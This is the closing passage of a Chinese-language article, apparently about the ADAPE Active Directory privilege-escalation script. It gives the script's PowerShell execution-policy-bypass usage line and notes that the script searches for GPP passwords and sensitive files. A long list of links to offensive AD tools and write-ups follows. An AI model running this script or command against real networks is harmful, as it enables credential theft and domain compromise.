GPP密碼檢查和搜索敏感文件須要一段時間,所以,若是這個腳本須要很長時間才能完成,請不要驚訝,這取決於您要搜索的域控制器、開放共享和字符串的數量。若是運行時間太長,請將這些部分註釋掉。

用法:PowerShell.exe  -ExecutionPolicy  Bypass  ./ADAPE.ps1

 

0x04  參考文獻

https://hausec.com/2018/10/05/windows-privilege-escalation-via-unquoted-service-paths/

https://hausec.com/2018/10/12/the-rise-of-c-and-using-kali-as-a-c2-server-with-silenttrinity/

https://github.com/BloodHoundAD/BloodHound

https://hausec.com/2017/10/26/using-bloodhound-to-map-the-user-network/

https://github.com/fox-it/BloodHound.py

https://www.ernw.de/download/BloodHoundWorkshop/ERNW_DogWhispererHandbook.pdf

https://github.com/GoFetchAD/GoFetch

https://github.com/SecureAuthCorp/impacket/blob/master/examples/GetUserSPNs.py

https://www.blackhillsinfosec.com/a-toast-to-kerberoast/

https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/

https://github.com/GhostPack/Rubeus

https://github.com/GhostPack/Rubeus#asreproast

https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/

https://github.com/dirkjanm/PrivExchange

https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/

https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/

https://www.varonis.com/blog/kerberos-attack-silver-ticket/

https://posts.specterops.io/a-case-study-in-wagging-the-dog-computer-takeover-2bcb7f94c783

https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

https://github.com/Kevin-Robertson/Powermad

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

https://www.youtube.com/watch?v=RUbADHcBLKg

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be

https://github.com/byt3bl33d3r/CrackMapExec

https://github.com/danielbohannon/Invoke-Obfuscation

https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc

https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/

https://github.com/hausec/ADAPE-Script

https://github.com/SpiderLabs/Responder

https://github.com/Kevin-Robertson/Inveigh

https://hashkiller.co.uk/Tools/HashcatGUI

https://github.com/fox-it/mitm6

https://hausec.com/how-to-set-up-ntlmrelayx-py/

https://github.com/byt3bl33d3r/CrackMapExec

https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc

https://github.com/hausec/ADAPE-Script

相關文章
相關標籤/搜索